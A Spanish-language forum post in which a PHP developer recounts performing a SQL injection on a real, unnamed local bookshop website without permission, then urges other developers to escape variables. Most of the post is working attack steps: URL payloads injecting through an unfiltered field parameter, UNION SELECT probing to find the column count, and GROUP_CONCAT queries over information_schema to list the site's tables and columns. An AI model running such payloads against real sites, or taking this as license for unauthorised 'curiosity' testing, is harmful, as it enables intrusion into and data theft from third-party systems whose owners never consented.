Ver Mensaje Individual
  #1 (permalink)  
Antiguo 24/11/2014, 21:47
Avatar de NSD
NSD
Colaborador
 
Fecha de Ingreso: mayo-2012
Ubicación: Somewhere
Mensajes: 1.332
Antigüedad: 11 años, 11 meses
Puntos: 320
Hice mi primer inyección SQL, viendo a un sitio PHP desde otro punto de vista

Hola gente, hago este post para compartir una experiencia interesante que acabo de realizar, por supuesto no daré ningún nombre y cabe aclarar que no cometí ningún ilícito ni planeo hacerlo, solo lo hice por curiosidad.

Hasta hoy, mi perspectiva siempre había sido la de un desarrollador que aplicaba las buenas practicas y las recomendaciones de PHP sobre seguridad porque "Si no lo haces alguien puede romperte el sitio", muchas veces las recomendaciones me parecieron exageradas o molestas pero lo cierto es, que son necesarias. Todas y cada una de ellas. Después de tanto tiempo trabajando a la defensiva, decidí ver el tema de la seguridad desde el punto de vista de un atacante, y la única forma de hacerlo es haciendo un ataque real.
Escogí una pagina de una librería de mi ciudad que llevaba un tiempo sin actualizarse y me puse manos a la obra.

La pagina principal incluye un buscador por titulo y autor pudiendo yo seleccionar por cual quiero buscar, dicho formulario se envía por POST.
Usando Google Chrome Developers Tool cambie el method del form de POST a GET y realice una búsqueda, la url se formo de esta manera:
Cita:
index.php?nou=todos&valor=libro&campo=titulo&x=0&y =0
pero lo mas importante, es que mostró los resultados, esto indica que el sistema de busqueda, esta usando la variable $_REQUEST en lugar de $_POST, por lo cual puedo continuar mi labor mucho mas fácil, ya que solo tengo que cambiar la url.

Solo por curiosidad, antes de continuar, le di "Ver código fuente" a la pagina, realmente no esperaba encontrar nada, pero descubrí para mi sorpresa, es que en cada parte del catalogo decia:
Código HTML:
Ver original
  1. <img src=imagenes_tapas_db/9789504934875.jpg width=100 border=0>             
  2. <!--<img src="http://www.[SITIO_WEB_EXTERNO].com.ar/tapas/$salida[ISBN].jpg" width="90" border="0">-->
Evidentemente, previamente se usaban imágenes extraídas de otro sitio, pero el programador del sitio utilizo un comentario HTML de forma descuidada dejando al descubierto el nombre de una variable, y lo mas importante, el nombre de un campo.

Como mencione, el buscador permite filtrar por titulo y autor, pero no por isbn, lo siguiente era averiguar si la variable "campo" se estaba ingresando a la consulta de forma directa, para ello probé:
Cita:
index.php?nou=todos&valor=9789504934875&campo=isbn &x=0&y=0
El resultado fue el libro con el isbn correspondiente.
Ya sabia como estaba formada una parte de la consulta:
Código MySQL:
Ver original
  1. SELECT ... FROM ... WHERE {CAMPO} LIKE '%{VALOR}%' ...

El campo valor, estaba debidamente escapado ya que intente colar unas comillas sin suerte, tendría que dirigir mi ataque por el único lugar que me quedaba, la variable campo.

Lo siguiente fue confirmar que la variable campo no tenia ningún tipo de filtro, para ello puse:
Cita:
index.php?valor=test&campo=TRUE--
El resultado fueron mas de 8000 resultados, claramente, no había ningún filtro y la consulta se estaba armando asi:
Código MySQL:
Ver original
  1. SELECT ... FROM ... WHERE TRUE-- LIKE '%test%' ...

Lo siguiente que quería hacer, era conocer su base de datos, que tablas tiene, que columnas.
Para poder hacerlo, necesito saber mas de las partes que no conozco de la consulta, en particular que campos están siendo seleccionados, siendo optimista, intente hacer que mysql explotara para que php me muestre el error:
Cita:
index.php?valor=test&campo=SINTAX_ERROR--
lo que genera:
Código MySQL:
Ver original
  1. SELECT ... FROM ... WHERE SINTAX_ERROR-- LIKE '%test%' ...
Esta vez, la pagina se corto a la mitad de la carga con un mensaje:
Cita:
Error en la query.
Sin mas datos que ese. Ahora ya sabia algo de php, la consulta estaba escrita de esta forma:
Código PHP:
Ver original
  1. mysql(¿i?)_query($sql) or die("Error en la query.");
No ayuda mucho, pero es un descubrimiento.

Ahora tendría que usar otra técnica, tendría que lograr que la misma base de datos me diga cuantos campos estoy consultando, esto no es sencillo pero tampoco imposible, arme entonces la url así:

Cita:
index.php?valor=test&campo=TRUE%20LIMIT%203%20UNIO N%20SELECT%201
de esta forma la query quedaría:
Código MySQL:
Ver original
  1. SELECT ... FROM ... WHERE TRUE LIMIT 3 UNION SELECT 1-- LIKE '%test%' ...

Si estaba seleccionando solo 1 campo, la query no daría errores, pero si el numero era incorrecto daría el mensaje de error.
Fui agregando campos hasta llegar a 16:
Cita:
index.php?valor=test&campo=TRUE%20LIMIT%203%20UNIO N%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,1 6--
Código MySQL:
Ver original
  1. SELECT ... FROM ... WHERE TRUE LIMIT 3 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- LIKE '%test%' ...
Esa url no dio error, me mostró 3 libros y en el cuarto lugar, un libro que contenía los numero del segundo select.
Ya sabia cuantos campos tenia, y lo mas importante, ¡sabia como escribir un SELECT a mi antojo!

El campo 2 estaba claramente mostrado en pantalla por lo que puse:
Cita:
index.php?valor=12&campo=TRUE%20LIMIT%203%20UNION% 20SELECT%201,REPLACE(%20GROUP_CONCAT(%20table_name %20)%20,%200x2C,%200x3C62723E%20),3,4,5,6,7,8,9,10 ,11,12,13,14,15,16%20FROM%20information_schema.tab les--
Código MySQL:
Ver original
  1. SELECT ... FROM ... WHERE TRUE LIMIT 3 UNION SELECT 1,REPLACE( GROUP_CONCAT( table_name ) , 0x2C, 0x3C62723E ),3,4,5,6,7,8,9,10,11,12,13,14,15,16 FROM information_schema.tables-- LIKE '%test%' ...

Me propuse a mi mismo que si encontraba alguna tabla relacionada con seguridad o datos económicos me abstendría de mirarla, mi objetivo no es cometer un robo informático sino aprender.

Obtuve por pantalla un bonito listado de las tablas de la base de datos:
Cita:
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
agenda
anuncio
base
base2
ev_pasados
items
libros
links
listas
noticias
principal
resumen
Ahora escribí:
Cita:
index.php?valor=12&campo=TRUE%20LIMIT%203%20UNION% 20SELECT%201,replace(group_concat(COLUMN_NAME),0x2 C,0x3C62723E),3,table_name,5,6,7,8,9,10,11,12,13,1 4,15,16%20FROM%20information_schema.columns GROUP BY table_name--
Código MySQL:
Ver original
  1. SELECT ... FROM ... WHERE TRUE LIMIT 3 UNION SELECT 1,replace(group_concat(COLUMN_NAME),0x2C,0x3C62723E),3,table_name,5,6,7,8,9,10,11,12,13,14,15,16 FROM information_schema.columns GROUP BY table_name-- LIKE '%test%' ...

Y listo, por pantalla pude ver el detalle cada una de las tablas, por ejemplo libros:
Cita:
id_libros
ISBN
titulo
autor
subtitulo
precio
stock
editorial
materia
recomendado
timestamp
Como se podran imaginar, ahora tenia acceso total a su base de datos ya que sabia perfectamente como manipularla, mi única limitación es que no podía seleccionar de a mas de 16 campos por vez, un detalle menor.

Voy a parar acá.

Lo que quiero recalcar con este tema, es la importancia de ciertos aspectos de seguridad minimos e indispensables como los que menciona @Triby en su tema: Aporte de seguridad básica en php, si el programador del sitio web de esta librería, hubiese seguido estos consejos, yo no habría podido entrar nunca por inyección url a su base de datos.

Notese que para este ataque solo use el Google Chrome, no emplee ningún otro programa de ningún tipo, solo abrí una pestaña nueva y empece a escribir, el esfuerzo fue mínimo.

Seguramente el autor de dicho sistema pensó "Lo hago así nomas, es mas rápido, ¿para que gastar tiempo en seguridad? ¿quien y para que va a querer crackear una web de una pequeña librería local?" como pueden ver, no hace falta una razon, una persona capacitada puede simplemente por diversión ingresar a una web si no se tomaron las medidas mínimas de seguridad.

Vi en muchos temas de este foro que se siguen haciendo consultas sin escapar variables, aunque sean novatos y sean cosas chicas como una librería barrial, por favor pónganle lo mínimo, escapen las variables.

Saludos!
__________________
Maratón de desafíos PHP Junio - Agosto 2015 en FDW | Reglamento - Desafios